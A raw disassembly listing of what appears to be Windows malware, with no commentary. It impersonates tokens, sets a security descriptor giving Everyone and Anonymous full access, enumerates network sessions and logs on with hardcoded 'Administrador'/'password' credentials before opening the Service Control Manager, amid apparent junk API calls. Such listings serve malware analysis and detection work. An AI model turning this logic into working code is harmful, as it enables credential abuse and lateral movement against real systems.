mov eax, dword [0x428844]
lea ecx, [ecx + 4]
div ecx
add eax, dword [0x428840]
sub esi, eax
mov dword [0x42883c], esi
mov esi, dword [sym.imp.ole32.dll_CLSIDFromProgID]
lea eax, [esp + 0xc4]
push eax
lea eax, [esp + 0x25c]
push eax
call esi
lea eax, [esp + 0xf4]
push eax
lea eax, [esp + 0x25c]
push eax
call esi
lea eax, [esp + 0xe4]
push eax
lea eax, [esp + 0x25c]
push eax
call esi
lea eax, [esp + 0xd4]
push eax
lea eax, [esp + 0x25c]
push eax
call esi
lea eax, [esp + 0x48]
push eax
lea eax, [esp + 0x25c]
push eax
call esi
lea eax, [esp + 0x18]
push eax
lea eax, [esp + 0x25c]
push eax
call esi
mov esi, dword [sym.imp.KERNEL32.dll_GetCurrentThread]
call esi
push eax
call dword [sym.imp.ADVAPI32.dll_ImpersonateAnonymousToken]
lea eax, [esp + 0x18]
push eax
xor eax, eax
inc eax
push eax
push 0xf01ff
call esi
push eax
call dword [sym.imp.ADVAPI32.dll_OpenThreadToken]
call dword [sym.imp.ADVAPI32.dll_RevertToSelf]
lea eax, [esp + 0x38]
push eax
lea eax, [esp + 0x14]
push eax
xor eax, eax
inc eax
push eax
push str.D:_A__GA___WD__A__GA___AN_
call dword [sym.imp.ADVAPI32.dll_ConvertStringSecurityDescriptorToSecurityDescriptorW]
neg eax
sbb eax, eax
and dword [0x428848], eax
lea eax, [esp + 0x18]
push eax
lea eax, [esp + 0x45c]
push eax
call ebx
xor ebx, ebx
test eax, eax
je 0x402394
push eax
push ebx
push dword [0x428840]
call fcn.00406819
pop ecx
push eax
call fcn.00407de0
add esp, 0xc
mov eax, dword [0x428838]
mov dword [esp + 0x38], eax
mov dword [esp + 0x458], eax
lea eax, [esp + 0x18]
push eax
lea eax, [esp + 0x3c]
mov dword [esp + 0x1c], ebx
push eax
lea eax, [esp + 0x18]
mov dword [esp + 0x18], ebx
push eax
push 0x800
lea eax, [esp + 0x3c]
mov dword [esp + 0x3c], ebx
push eax
push 0x1f6
push ebx
push ebx
lea eax, [esp + 0x278]
push eax
call dword [sym.imp.NETAPI32.dll_NetSessionEnum]
cmp eax, 0xea
je 0x4023f7
test eax, eax
je 0x4023f7
mov eax, dword [esp + 0x10]
test eax, eax
je 0x4023f7
add dword [0x428848], eax
cmp dword [esp + 0x2c], 0
je 0x402408
push dword [esp + 0x2c]
call dword [sym.imp.NETAPI32.dll_NetApiBufferFree]
mov eax, dword [0x428834]
test eax, eax
je 0x402429
mov eax, dword [esp + 0x64]
push ebx
push dword [eax + 0x78]
push dword [esp + 0x68]
push eax
call dword [sym.imp.dbghelp.dll_ImageRvaToVa]
mov eax, dword [0x428834]
mov ecx, dword [0x42883c]
add dword [0x428848], ecx
mov esi, dword [0x428838]
mov edx, dword [0x428840]
cmp edx, esi
jge 0x40246e
cmp esi, 0x20
jle 0x40246e
cmp eax, 0x28
jle 0x40246e
lea eax, [esp + 0x458]
push eax
push ecx
push ebx
push 4
push ebx
push dword [esp + 0x2c]
call dword [sym.imp.KERNEL32.dll_CreateFileMappingA]
mov edx, dword [0x428840]
mov esi, eax
test esi, esi
jne 0x402481
mov ecx, dword [0x428844]
dec ecx
add ecx, edx
mov dword [0x42883c], ecx
push pe_nt_image_headers32
push ebx
push ebx
push 0xf001f
push dword [esp + 0x28]
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
inc dword [0x428848]
test eax, eax
jne 0x4024b0
cmp dword [0x428838], eax
je 0x4024b0
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ebx, dword [sym.imp.WINMM.dll_timeGetTime]
call ebx
call ebx
xor ebx, ebx
push ebx
push ebx
mov dword [esp + 0x44], ebx
call fcn.00405dd6
mov dword [esp + 0x38], eax
lea ecx, [esp + 0x38]
lea eax, [esp + 0x18]
mov dword [esp + 0x18], ebx
push eax
call fcn.00404fce
mov eax, dword [0x428838]
mov esi, dword [0x42883c]
sub eax, esi
sub edi, dword [esp + 0x14]
imul eax, esi
cmp edi, eax
jne 0x402519
mov ecx, dword [0x428834]
xor edx, edx
mov eax, dword [0x428844]
lea ecx, [ecx - 5]
div ecx
movzx ecx, word [0x428840]
imul eax, ecx
imul eax, esi
mov dword [0x42883c], eax
lea ecx, [esp + 0x38]
call fcn.00404f94
mov esi, str.Administrador
lea edi, [esp + 0x128]
push 0xf6
lea eax, [esp + 0x13a]
push ebx
movsd dword es:[edi], dword [esi]
push eax
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
call fcn.00407de0
mov esi, str.password
lea edi, [esp + 0x5cc]
add esp, 0xc
lea eax, [esp + 0x5c9]
movsd dword es:[edi], dword [esi]
push 0xfb
push ebx
push eax
movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
call fcn.00407de0
add esp, 0xc
lea eax, [esp + 0x18]
push eax
push 3
push 9
lea eax, [esp + 0x5cc]
push eax
push 0x4209ac
lea eax, [esp + 0x13c]
push eax
call dword [sym.imp.ADVAPI32.dll_LogonUserA]
lea eax, [esp + 0x38]
push eax
push 2
push dword [esp + 0x20]
call dword [sym.imp.ADVAPI32.dll_DuplicateToken]
push dword [esp + 0x38]
call dword [sym.imp.ADVAPI32.dll_ImpersonateLoggedOnUser]
push 0xf003f
push ebx
push ebx
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
lea eax, [esp + 0x18]
mov dword [esp + 0x18], ebx
push eax
lea eax, [esp + 0xa44]
push eax
push ebx
call dword [sym.imp.SHELL32.dll_ExtractAssociatedIconA]
mov eax, dword [0x428838]
test eax, eax
jne 0x402600
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
push eax
xor eax, eax
inc eax
push eax
push 0x1fffff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
test eax, eax
jne 0x4025fb
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov eax, dword [0x428838]
mov dword [esp + 0x38], eax
mov dword [esp + 0x458], eax
lea eax, [esp + 0x18]
push eax
lea eax, [esp + 0x3c]
mov dword [esp + 0x1c], ebx
push eax
lea eax, [esp + 0x18]
mov dword [esp + 0x18], ebx
push eax
push 0x800
lea eax, [esp + 0x3c]
mov dword [esp + 0x3c], ebx
push eax
push 0x1f6
push ebx
push ebx
lea eax, [esp + 0x278]
push eax
call dword [sym.imp.NETAPI32.dll_NetSessionEnum]
cmp eax, 0xea
je 0x40265e
test eax, eax
je 0x40265e
mov eax, dword [esp + 0x10]
test eax, eax
je 0x40265e
add dword [0x428848], eax
cmp dword [esp + 0x2c], ebx
je 0x40266e
push dword [esp + 0x2c]
call dword [sym.imp.NETAPI32.dll_NetApiBufferFree]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret